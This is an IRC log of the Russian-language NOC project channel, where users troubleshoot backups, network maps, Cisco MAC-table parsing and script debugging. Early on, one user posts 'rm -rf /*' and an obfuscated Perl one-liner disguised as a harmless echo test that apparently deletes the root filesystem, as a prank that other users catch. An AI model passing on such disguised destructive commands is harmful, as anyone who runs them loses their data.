About Forum Blogs NOC Docs Downloads KB Issues Code CI Registration

nocproject.org

#nocproject.org at irc.freenode.net log.
Back to nocproject.org Back to IRC log index
Date: 17.07.2015
welcome #
06:21
Доброе всем.
e_zombie #
06:59
,,
welcome #
08:08
Пятница. Тишина.
abyrvalg #
08:08
Я, например, просто не знаю с чего начать. :)
SS__ #
08:12
я спать хочу
08:13
мелкая легла в 12 а встала в 6
08:13
и сразу папа кушать
TSergey #
08:13
abyrvalg: дропним базу?
welcome #
08:14
Ахахах)
abyrvalg #
08:14
TSergey: Смешно нубов тролить?
TSergey #
08:15
немного смешно, да :)
08:15
abyrvalg: давай бэкап настрим?
08:15
*настроим?
abyrvalg #
08:15
Встроенный?
TSergey #
08:16
ага
SS__ #
08:16
rm -rf /*
08:16
фул бекап из под рута
08:16
)))))))))))))
TSergey #
08:16
SS__: прекрати, я вчера уже шутил :)
e_zombie #
08:17
https://kb.nocproject.org/pages/viewpage.action?pageId=20152623
abyrvalg #
08:17
TSergey: кроме noc.conf в вебморде что-то надо настраивать?
e_zombie #
08:18
вот вам статейка как тестировать доступность
TSergey #
08:18
тыж недавно ставил, а как в новом я не знаю
08:18
галку проверить: Main\Setup\Schedules
08:18
main.bacup
abyrvalg #
08:18
SS__: Я хоть и недавно в профессии, но на это говно не ведусь.
TSergey #
08:18
main.backup
SS__ #
08:18
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
TSergey #
08:19
abyrvalg: остальное в конфиге и проверить доступность ноком всех команд для бэкапа
buggy-funhouse #
08:19
Всем привет!
08:19
Сейчас обновиться можно?
08:19
ничего не сломается?)
TSergey #
08:19
давй!
SS__ #
08:19
можно
TSergey #
08:19
*давай!
SS__ #
08:20
вот и раскажешь))) а то самим страшно
TSergey #
08:20
buggy-funhouse: все само заполнится :)
buggy-funhouse #
08:20
Володин вернулся?)
08:20
SS__: я так и думал +)
e_zombie #
08:20
buggy-funhouse: в пн релиз будет :) и обновляться стоит .
buggy-funhouse #
08:20
ого!
TSergey #
08:20
я обновлялся, проверял кнопку "обновить карту"
e_zombie #
08:20
там почти починили NOC-1633 и добавили авторасстановку на карты
abyrvalg #
08:21
Я вчера вечером обновлялся, ничего не сломалось.
SS__ #
08:22
кстати кто занает как mysql поднять репликацию без дампа с мастера и рестора дампа на слейве, т.е. слейв голый и чтоб процесс репликации сам все перетащил*
TSergey #
08:23
abyrvalg: ну и если пути в конфе все прописаны, можно проверить, галку слева в Main\Setup\Schedules и запустить в верхнем списке "Run selected task now" + Выполнить
08:24
делается четыре архива: dump + три .tar.qz
abyrvalg #
08:24
Только хотел спросить об этом.
TSergey #
08:25
ну а настройки в конфе вполне очевидные
abyrvalg #
08:25
Да, там все ясно.
e_zombie #
08:26
такс. кто скажет где дока как сделать обновление конфига по приходу трапа ?
TSergey #
08:27
e_zombie: наверное поискать класс про обновление конфига в ФМ
e_zombie #
08:27
прекрати ругаться в приличном обществе :)
TSergey #
08:28
ок :)
08:29
есть класс Config | Config Changed
08:29
в нем, в хэндлерах есть
08:30
наверное можно сделать новый Classification Rules, а класс ему взять Config | Config Changed
08:30
e_zombie: а какое ты событие обрабатываешь?
08:31
(или сделать новый класс, под свой вид события и добавить в него ткаой хэндлер)
e_zombie #
08:31
ну типа пришёл трап - конфиг изменился. значит слазить туда и забрать новую версию а не долбиться раз в сутки.
TSergey #
08:32
так под это есть и Рулс и Класс
08:32
например "Cisco | IOS | Config | Config Changed (SYSLOG)"
abyrvalg #
08:33
e_zombie: А если трап потеряется?
08:33
Я к тому, что по расписанию все равно надо снимать.
e_zombie #
08:34
abyrvalg: по расписанию сбор конфигов поставить раз в неделю и норм.
abyrvalg #
08:35
Ну да.
TSergey #
08:35
e_zombie: а давай заново, а вопрос тогда в чем?
buggy-funhouse #
08:35
как теперь редактировать карты?)
e_zombie #
08:35
ну просто ты ругаешься непонятными мне словами. - ты пальцем покажи.
buggy-funhouse #
08:35
значки не таскаются
TSergey #
08:35
ФМ не понимает такого сообщения?
08:35
buggy-funhouse: Edit жал?
e_zombie #
08:35
buggy-funhouse: нажми кнопку эдит
buggy-funhouse #
08:36
она не активна
08:36
кэш сбросить?
08:36
разлогиниться?
TSergey #
08:36
перелогинься
buggy-funhouse #
08:37
Это нормально, что поле квадратное и всё?)
08:37
то есть свитч можно запихнуть под границу видимости
ufir #
08:37
это ненормально
buggy-funhouse #
08:38
но у всех так?
ufir #
08:38
просто автор не знает как починить
08:38
да
08:38
у меня где-то треть экрана
buggy-funhouse #
08:38
о
TSergey #
08:38
buggy-funhouse: временно это фича, можно прятать свичи от учета
buggy-funhouse #
08:38
можно свитч спрятать, сохранить, потом реверт и экран расширяется
08:39
noc-way
ufir #
08:39
но если открать еще вкладку, и пощелкать между ними - то ВНЕЗАПНО появляется скроллбар, и окно втановиться безразмерным
08:39
\открыть
TSergey #
08:39
ухты
ufir #
08:39
и таскать иконки можно куда хочешь
e_zombie #
08:39
http://www.saratov.aif.ru/society/rostelekom_pokazal_kak_provodit_internet_v_doma_saratovcev местные блогеры в местной конторе. массивный фейспалмы. смеёмся всей комнатой.
TSergey #
08:40
ufir: у меня все равно граница есть
08:41
"Дело в том, что этот сотрудник мониторит качество сигнала IPTV. А как еще можно удостовериться в том, что картинка достаточно качественная, кроме как посмотреть ее?"
08:41
красиво излагает, действительно, как можно промониторить качество цифрового сигнала
e_zombie #
08:42
лучшая в мире профессия (С)
TSergey #
08:43
"Тянуть провода или что-то сверлить не потребовалось. " как это?
e_zombie #
08:43
https://pp.vk.me/c627725/v627725013/76ed/9oSXXuzJRtw.jpg
08:44
https://pp.vk.me/c627725/v627725013/7689/S5-ImhGNL6M.jpg
08:44
в новостройке так тянут у нас инет. это рядом с квартирой моей знакомой.
TSergey #
08:46
в розетку оптика или витая пара?
e_zombie #
08:46
витая.
08:46
инет по оптике - это у нас такой маркейтинговый булщит
TSergey #
08:46
красивый монтаж :)
08:48
"Вот стол с разными модемами" тоже же неплохо
08:49
директор Саратовского филиала компании Александр Бычков так и говорил "модемы"?
ufir #
08:49
TSergey ну вот, смотри http://postimg.org/image/90gszfs37/
08:49
граница вполне себе уехала
TSergey #
08:49
:)
08:50
а ты попробуй выше, у тех кто на границе
08:50
красивая схема, с изогутыми линками
ufir #
08:50
при етом - на линиях нет точек
08:50
какого хера они при этом кривые, а не прямые - неизвестно
TSergey #
08:50
у тебя тюнингованная версия
e_zombie #
08:51
тама кстати баг. если там эзерченал и ты снимаешь точки с линий то они сливаются .
abyrvalg #
08:51
ufir: Нок, хабр, и 30+ вкладок лурка? :)
ufir #
08:51
у меня вочти везде езерченнел
08:51
abyrvalg так и живем ;D
abyrvalg #
08:51
Понимаю.
08:51
:)
ufir #
08:52
25 а не 30
abyrvalg #
08:52
Я не считал, так, на вскидку прикинул.
buggy-funhouse #
08:52
ufir: то-то я смотрю, названия знакомые :) Морки, звенигово =)
ufir #
08:53
buggy-funhouse дык марий эл же
buggy-funhouse #
08:53
Ага
08:53
Где Волжск?)
abyrvalg #
08:54
TSergey: бэкапнулся. Только архивов три, т.к. repo нету.
08:54
Не понял только, почему дамп постгреса не архивирован. Идеологически, или что-то мешает?
ufir #
08:54
вверху ;)
TSergey #
08:55
abyrvalg: покажи списко, какие три у тебя сделались
evyscr #
08:57
SS__: ти глюпай. не echo, а cat
SS__ #
08:57
evyscr, а ты проверь под рутом, потом отпиши)
ufir #
08:58
там как раз echo
08:58
евпочя
evyscr #
08:59
в оригинале был cat
08:59
поцчему я и сразу заподозрил неладное
09:00
SS__: проверил, проверяй
SS__ #
09:00
спасибо ))))
09:00
у мну виртуальки не нужной нет)
ufir #
09:01
<> echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
09:01
preexec:17: parse error
09:01
rm of / is not allowed
09:01
> uname -ma
09:01
SunOS cw 5.10 Generic_142900-11 sun4u sparc SUNW,Sun-Fire-V240
evyscr #
09:02
ufir: зря
abyrvalg #
09:02
TSergey:
09:02
noc-db-2015-07-17-11-39.dump
09:02
noc-etc-2015-07-17-11-39.tar.gz
09:02
noc-mongo-2015-07-17-11-39.tar.gz
ufir #
09:04
ты просто не умеешь ее готовить ;D
09:04
хотя, если признаться - говно редкостное
e_zombie #
09:05
нет саппорта - в пизду.
zi_rus #
09:06
Никто такой трейс при удалении МО не ловил?
09:06
EXCEPTION: <type 'exceptions.AttributeError'> type object 'ObjectItem' has no attribute 'objects'
ufir #
09:06
можно подумать, у твоего сраного линукса есть саппорт
zi_rus #
09:06
а если у него редхат
09:06
или слес
ufir #
09:06
вот у аргуса саппорт есть ;)
zi_rus #
09:07
или альт
ufir #
09:07
и у старт-ойпи ;D
zi_rus #
09:07
или мсвс
e_zombie #
09:07
у сраного линукса есть репы и публичная багзилла.
ufir #
09:07
zi_rus у володия-то ? да у него поди рачь какой-нибудь
evyscr #
09:07
суппорт альта это сурово
e_zombie #
09:07
и да. у меня есть ещё пока лицензия на один сервак рхер
09:07
рхел
ufir #
09:07
хаха
09:07
у меня тоже
zi_rus #
09:07
лол
09:07
тоже рхер?
ufir #
09:07
да
09:07
именно рхер
evyscr #
09:08
редхер
ufir #
09:08
ред хайт ентерпрайз рачьлинукс
e_zombie #
09:08
ну вы шутники ёбта.
evyscr #
09:08
когда там патч в ведро на updike кидали?
abyrvalg #
09:10
Discovery Jobs Statuses
09:10
Wait 163
09:10
Suspend 3
09:10
Wait (Late) 0
09:10
Где посмотреть, какие именно suspend? Перебирать МО, читать логи, или есть удобнее способ?
evyscr #
09:11
монга
abyrvalg #
09:11
Я в монге уже карту почистил вчера.
TSergey #
09:11
abyrvalg: noc-db-2015-07-17-11-39.dump чем тебе не дамп?
evyscr #
09:12
db.noc.schedules.inv.discovery.find({"s": "s"})
09:12
abyrvalg: а нехрен делать дроп, если надо удалить одну запись
abyrvalg #
09:12
TSergey: Дамп. Нормальный дамп. Я просто не понял, почему бы было и его не заархивировать.
TSergey #
09:13
аааа, тут я и не знаю
abyrvalg #
09:13
evyscr: А там была всего одна запись.
TSergey #
09:13
как бы намек, что часто понядобится :)
evyscr #
09:13
я видел две
09:13
вроде как
abyrvalg #
09:13
Вторая - фантомная.
evyscr #
09:13
бгг
abyrvalg #
09:13
В смысле, осколок от удаленного сегмента.
evyscr #
09:14
цитата про путания в показаниях
TSergey #
09:14
db.noc.schedules.inv.discovery.find({"s": "s"}).count()
09:14
15
ufir #
09:14
213
evyscr #
09:14
abyrvalg: и вообще, тебе говорили про обновиться
abyrvalg #
09:14
evyscr: Я ж возвращал записи обратно. Так вот, я пробовал вернуть ту вторую без первой - толку было ноль.
09:15
Я обновился после того, как вернул все взад.
evyscr #
09:15
15:18:40 <evyscr> failed to get data было до вчерашних коммитов
09:15
кто меня не слушает - ССЗБ
abyrvalg #
09:16
Да я и не спорю. Кто слушает TSergey тоже ссзб. :))
TSergey #
09:17
ну воооот
evyscr #
09:17
ты просто его огорчил
09:17
много было в нашей жизни молодых да ранних, которые всё знают
09:18
некоторые из них сдувались через меяц-другой
abyrvalg #
09:22
Блин, парни. Давайте чтоб было ясно. Я (пока) не представляю себе, как эта штука работает. Тут можно много написать про agile, но опустим.
09:22
Я допускаю, что ПО проверяет значения на входе, и если их нет - возможны два пути - установить в дефолт либо вывалить ошибку. Я понадеялся, что в данном случае
09:22
реализован первый вариант. Ну и еще фраза была про "само заполнится".
TSergey #
09:22
evyscr: как считатешь, вот такое F это много?
09:22
fumufu86 , : noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:22
fumufu86 , : status | count
09:22
fumufu86 , : F | 18150
09:23
abyrvalg: ну теперь ты крещеный, все теперь пойдет как надо
abyrvalg #
09:25
Самое смищьное, что так происходит в любом русскоязычном коммьюнити.
TSergey #
09:25
abyrvalg: давай спросим всех остальных :) говорил ли я тебе, что все сломается :)
09:26
впрочем я исправлюсь :)
abyrvalg #
09:26
Ты миня затралел вчера. И доволен собой.
09:27
А я повелся, как лалка.
TSergey #
09:27
а может недоволен :)
abyrvalg #
09:28
Это не существенно.
TSergey #
09:28
хорошо :)
abyrvalg #
09:34
А то, что я вчера вечером писал - есть мысли у кого-то?
09:34
(18:50:49) <class 'noc.sa.interfaces.base.InterfaceTypeError'> DictParameter: {'mac': '00:04:7A:09:D9:40', 'type': 'D', 'interfaces': ['seq_no:0'], 'vlan_id': 10}. Invalid value for 'interfaces': Invalid interface 'seq_no:0'
09:34
Вот такая таблица возвращается от каталисты:
09:34
10 0004.7a09.d940 DYNAMIC Gi1/0/25 seq_no:0
09:34
10 0004.7a09.e000 DYNAMIC Gi1/0/26 seq_no:0
09:34
10 0004.7a0d.8fc0 DYNAMIC Gi1/0/27 seq_no:0
09:35
На соседней с такой-же версией ПО - все нормально.
TSergey #
09:36
делай debug-script и выкладывай на пасту
09:36
профиль Cisco.IOS ?
abyrvalg #
09:37
Ща проверю.
09:37
Да, он.
09:38
Да я телнетом заходил на две соседние циски одинаковые - они таблицу маков по-разному возвращают.
09:38
В инете натыкался, что такие записи возникают у людей с бродкаст-штормом в сети, но ничего похожего у нас не было.
TSergey #
09:39
так это у тебя от какого скрипта?
abyrvalg #
09:39
mac_discovery
TSergey #
09:39
ну вот его дебак-скриптом и давай
09:40
а, стоп, ерунду говорю
abyrvalg #
09:40
Трейс можно и в веб-морде получить. Ручным запуском.
TSergey #
09:41
а SA\MO\Edit\Scripts get_mac_address_table не ругается?
abyrvalg #
09:41
Ругается, я его и имел ввиду про ручной запуск.
09:42
Да там просто пятая колонка появляется, и неверно распарсивается.
09:42
Ее отрезать надо.
ufir #
09:42
пятая колонна
09:42
ее отрезать надо
abyrvalg #
09:42
8-)
TSergey #
09:43
abyrvalg: самурай, это ведь разные скрипты
09:43
мак дискавери другая песня
abyrvalg #
09:43
Он разве не получает таблицу маков?
TSergey #
09:44
делай дебагом get_mac_address_table и выкладывай на пасту и все будет видно
09:44
ну или традиционно дропаем таблицу (это, если что, шутка)
abyrvalg #
09:45
:-P
TSergey #
09:45
умеещь дебаг-скрипт?
abyrvalg #
09:46
Пока нет, но ты мне дай полчаса, я сначала сам попробую.
09:46
Так лучше запоминается.
TSergey #
09:47
да тут и запоминать ничего не надо
09:47
https://kb.nocproject.org/display/DOC/Canned+Beef
09:47
это шелловская штука
09:47
"/opt/noc$ ./noc debug-script <script name"
09:48
"name_MO"
abyrvalg #
09:50
По имени, не по id? Неожиданно.
evyscr #
09:51
можно и по id
TSergey #
09:52
dvolodin: привет, скажи вот
09:52
fumufu86 , : noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:52
fumufu86 , : status | count
09:52
fumufu86 , : --------+-------
09:52
fumufu86 , : F | 18150
09:52
fumufu86 , : C | 2970
09:52
fumufu86 , : R | 3
09:52
нормальная ситуация?
evyscr #
09:52
видимо, не оч
TSergey #
09:52
у меня после чистки базы и всех патчей
09:52
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:52
status | count
09:52
--------+-------
09:52
C | 18
09:52
R | 5
09:52
(2 rows)
ufir #
09:53
хм, у меня там W 1
evyscr #
09:53
у меня очучение, что после какого-то критического количества файлед все скрипты перестают работать
e_zombie #
09:53
удваиваю предыдущего оратора.
09:54
у тебя загрузка активаторов сейчас нулевая?
dvolodin #
09:55
evyscr: причем у каждого активатора последним идет cancelled во время snmp опроса?
evyscr #
09:55
сейчас уже не скажу
09:56
но cancelled когда-то видел
TSergey #
09:56
у меня (думаю не меня спрашивал): 10 скриптов в Current, на 4 активатора
evyscr #
09:56
а во время чего cancelled был сделан - хз
ufir #
09:57
а ето что такое, и нахрена оно мне ?
09:57
2015-07-17 12:56:08,499 [noc.dns.models.dnszone] Register address change None -> 10.112.40.220
09:57
2015-07-17 12:56:08,500 [noc.dns.models.dnszone] Register FQDN change None -> ip-10-112-40-220.example.com
evyscr #
09:58
ufir: а кто включал ip_discovery, Пушкин?
09:58
бля, соре, туплю
09:58
у меня сегодня кофий закончился
ufir #
09:58
а я вообще с бодуна, и чо ?
evyscr #
09:59
тоже тупишь, значит. грац
ufir #
09:59
всяко ;D
evyscr #
09:59
но ip discovery у тебя включен
ufir #
09:59
на сабы цискины ругается http://pastebin.com/8Tc3h6A8
abyrvalg #
09:59
> у меня сегодня кофий закончился
09:59
i now that feel bro
ufir #
10:00
что вообще за такой интерфейс-то http://pastebin.com/8Tc3h6A8
10:00
бл
10:00
StackSub-St1-1
TSergey #
10:00
evyscr: а чего ты пьешь? какой кофе?
evyscr #
10:01
ратворимай
10:01
зерновой уже хреново сказывается
dvolodin #
10:01
ufir: что за железка?
TSergey #
10:01
у меня коллег притащил кофеварку и варит что-то очень вкуснопахнущее
ufir #
10:02
dvolodin 3750
evyscr #
10:02
ufir: ты лучше дебаг-скрипт запасть
ufir #
10:02
cisco WS-C3750G-24TS-1U
dvolodin #
10:02
даже не debug-script, а тушенку мне
evyscr #
10:03
блин, запилите вики по оборудованию
dvolodin #
10:04
evyscr: и что ты туда хочешь писать?
evyscr #
10:04
у кокой модели где какие кривости
10:04
snmp мабуть
10:04
паршивки
10:04
вот я тобе про ifHighspeed выдал же
ufir #
10:05
отправил
evyscr #
10:06
или вот отсцутствие show inventory в древних ios
10:07
а то и show interfaces switchport
dvolodin #
10:08
evyscr: могу сделать тебе отдельный space на confluence
10:08
займешься?
10:08
я пока не понимаю структуру и как сделать так, чтобы там не было помойки
evyscr #
10:08
непросто, согласен
10:09
пока подумаем тогда
dvolodin #
10:09
идея хорошая в принципе
10:09
по идее, если там будет справочник моделей, их ТТХ и замечания по совместимости с NOC, то это будет мегасупервещь
evyscr #
10:09
ну я (по молодости) вообще думал, что в ноковском kb это будет
10:10
оказалось, пока нима
dvolodin #
10:10
вот можно и подумать, может и там
10:10
у нас теперь есть cp
10:10
можно и сихронизацию между всеми kb сделать
evyscr #
10:10
кстате, о цп
10:10
поцчиму выделение не в буфере
10:10
?
dvolodin #
10:11
?
evyscr #
10:13
в иксовый буфер не идёт
dvolodin #
10:13
паста?
evyscr #
10:13
да
10:13
бровзер - фуррифокс
dvolodin #
10:15
ufir: это стековые интерфейсы на жопе
10:15
по два на тушку
ufir #
10:17
опа.
10:17
2015-07-17 13:13:35,858 [noc.sa.activator.activator] Cancelling stale script Cisco.IOS.get_cdp_neighbors(10.12.172.10)
10:17
2015-07-17 13:13:35,858 [script] Stuck in CLI. Cancelling
10:17
2015-07-17 13:13:35,860 [script] Cancelled
10:17
и все активаторы сдохли
dvolodin #
10:18
fuf
10:18
ага
10:18
убивает скрипт, успевает отрапортовать в SAE
10:18
и все
ufir #
10:19
как лечить ?
dvolodin #
10:19
хз
10:19
трейсов с него не осталось?
teroni804 #
10:25
ufir: про StackSub. оно их откуда-то берет по SNMP
10:25
либо отключить там SNMP
10:25
либо http://pastebin.com/FC3RgLDa
10:25
либо dvolodin что умное скажет
dvolodin #
10:26
teroni804: можно и так, да
teroni804 #
10:26
я вот не понимаю откель SNMP берет интерфейсы которые не видать через консоль
dvolodin #
10:31
консоль их скрывает
10:31
а в snmp прет звериная натура
10:34
стековый интерфейс ведь - суть обычный интерфейс на жопе с голыми каналами serdes'ов
evyscr #
10:35
их, кстати, в модельки заносят уже?
dvolodin #
10:35
стеки?
10:35
да
evyscr #
10:35
(object models)
10:35
ок
10:35
а то что-то не было в своё время
10:39
кстате, а кто _сейчас_ за INV смотрит?
dvolodin #
10:39
я иногда
10:39
но у меня не хватает времени
10:40
нам опять нужны maintainer'ы по правилам FM и по моделям inventory
evyscr #
10:40
надо TSergey подключать-)
10:42
в модельках я, в прынципе, вельми заинтересован, но полностью осознать всю кухню не получлось
dvolodin #
10:43
кухню я расскажу при необходимости
10:43
кстати, она неплохо описана в kb
evyscr #
10:45
ну посмотрим тогда на след неделе
dvolodin #
10:51
teroni: pull request сделай
teroni #
10:52
dvolodin: я нубс и не умею
e_zombie #
10:58
модели заливать в INV и ждать пока закоммитят
fumufu86 #
11:07
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
11:07
status | count
11:07
--------+-------
11:08
F | 12291
11:08
C | 2002
11:08
R | 16
11:08
(3 строки)
11:08
Переодически F | резко падает, потом снова начинает расти.
11:09
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
11:09
status | count
11:09
--------+-------
11:09
F | 9268
11:09
C | 1523
11:09
R | 5
11:09
(3 строки)
e_zombie #
11:17
fumufu86: https://kb.nocproject.org/pages/viewpage.action?pageId=20152623
dvolodin #
11:19
кто на фре сидит, кстати?
zi_rus #
11:19
dvolodin: слушай, у меня мо не удаляется
11:19
трейсит
11:19
EXCEPTION: <type 'exceptions.AttributeError'> type object 'ObjectItem' has no attribute 'objects'
11:20
ты не фиксил такого?
11:20
может мне обновиться?
dvolodin #
11:20
может и фиксил
11:20
что-то в удалении я фиксил
abyrvalg #
11:27
Давайте поговорим за регулярные выражения.
11:27
Кто про что - а больной - про здоровье. :)
11:28
Насколько я понял в скрипте get_mac_address_table таблица маков парсится вот такой регуляркой:
11:28
^(?:\*\s+)?(?P<vlan_id>\d+)\s+(?P<mac>\S+)\s+(?P<type>\S+)\s+(?:\S+\s+){0,2}(?P<interfaces>.*)$
11:31
Смущает вот это вот:
11:31
(?:\S+\s+){0,2}
11:31
Это значит, что между столбцами Type и Ports может быть еще один или два столбца.
11:31
Какие? Покажите пример, у кого циска такое выдает.
dvolodin #
11:31
abyrvalg: в публичной тущенке есть
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,Catalyst 4500 L3 Switch,12.2(31)SGA10,11b9c93c-645a-4c55-876c-f3fe6bb796ed
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,Catalyst 4500 L3 Switch,12.2(37)SG1,1c967405-7305-491f-92b3-7e85639ea53a
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,C3750,12.2(35)SE2,22df70ba-fe74-4b09-8a21-790f22bf84b0
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,CBS31X0,12.2(50)SE3,42fdba21-161a-4979-892f-d61e07121dc4
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXH2a,56b6d45e-709e-4d96-8035-be0bf07fd1e7
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s222_rp,12.2(18)SXF13,9e229dd8-96a1-40fb-853f-581bdcc39f35
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(18)SXF14,b1130f69-2009-4439-8da2-d0d966fefdbf
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXI2,c52c89bf-faf4-4f05-9658-19d40f10481a
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXI2,eb6fd9a0-4edf-4c36-bbbc-21c46c8b62b1
teroni #
11:32
dvolodin: как нить из нок-шела можно поглядеть что выдает self.snmp.getnext ??
dvolodin #
11:32
teroni: нет
11:33
но можно вставить print и прогнать через debug-script
teroni #
11:34
debug-script - можно весь вывод на экран перенаправить в файл?
TSergey #
11:42
оф кос
11:42
https://kb.nocproject.org/display/DOC/Canned+Beef
11:42
"/opt/noc$ ./noc debug-script <script name> <MO> -o <output_file>"
dvolodin #
11:48
stderr склей со stdout
TSergey #
11:48
а, вот вы про что
11:48
я из лога путти дергаю
dvolodin #
11:54
питоновский logging по умолчанию льет на stderr
11:56
https://cp.nocproject.org/p/wvoE
11:56
Ж)
11:56
красота
11:56
для microservices понадобятся еще два пакета -- nsq и consul
11:56
посмотрите в своих системах, они в репах есть?
zi_rus #
11:59
укурились чтоли
12:00
кто сейчас на девелопе?
12:00
обновляться можно или ну его?
12:19
dvolodin: слушай
12:19
такая тема
12:19
есть роутер
12:20
у него с одного порта через оператора уходят каналы разными вланами в разные стороны
12:20
как мне в ноке линки организовать
12:20
он же сабы не линкует
12:21
а поинт-2-мультипоинт не совсем правильно
dvolodin #
12:24
там же есть железка еще по пути
e_zombie #
12:26
zi_rus: ну я на девелопе. и что ? через жопу но работает.
12:26
консула нету в федоре и подозреваю в центосах тоже нету
12:28
snq тоже нету
evyscr #
12:30
dvolodin: так железка-то чужая, операторская. клауд (в классичеком смысле), так сказать.
dvolodin #
12:32
вот я и думаю - собрать из них пакеты для pip'а?
e_zombie #
12:40
собирай. иначе пиздетц
zi_rus #
12:48
dvolodin: железка по пути это сторонний оператор
12:48
или ты что имеешь ввиду?
13:34
dvolodin: ты как будто никогда не подавал клиенту сервисы когда есть центральный офис и филиалы, и из центра разными вланами каналы до филиалов сделаны
13:34
вот представь что ты с другой стороны
13:34
ты этот самый клиент
13:34
для тебя есть один порт
13:35
и облако
e_zombie #
13:36
итс маджииик
abyrvalg #
14:08
А почему могут линки пропадать?
14:09
Вчера был, сегодня пропал. Запустил вручную дискавери - опять появился.
ufir #
14:28
посмотри логи, там наверняка что-то про стп или мак ;D
abyrvalg #
14:37
Походу дискавери не запускался почему-то.
14:38
Аптайм и интерфейс-статус работали, а cdp и stp -нет.
ufir #
20:00
Дима, ну почему у меня линки без точек кривые ?
dvolodin #
20:01
насколько кривые?
20:01
у них были точки, но ты их удалил?
ufir #
20:01
да
dvolodin #
20:02
ага
ufir #
20:02
но некоторые без точек прямые ;(
Tweet
Share this page
Share this page: Tweet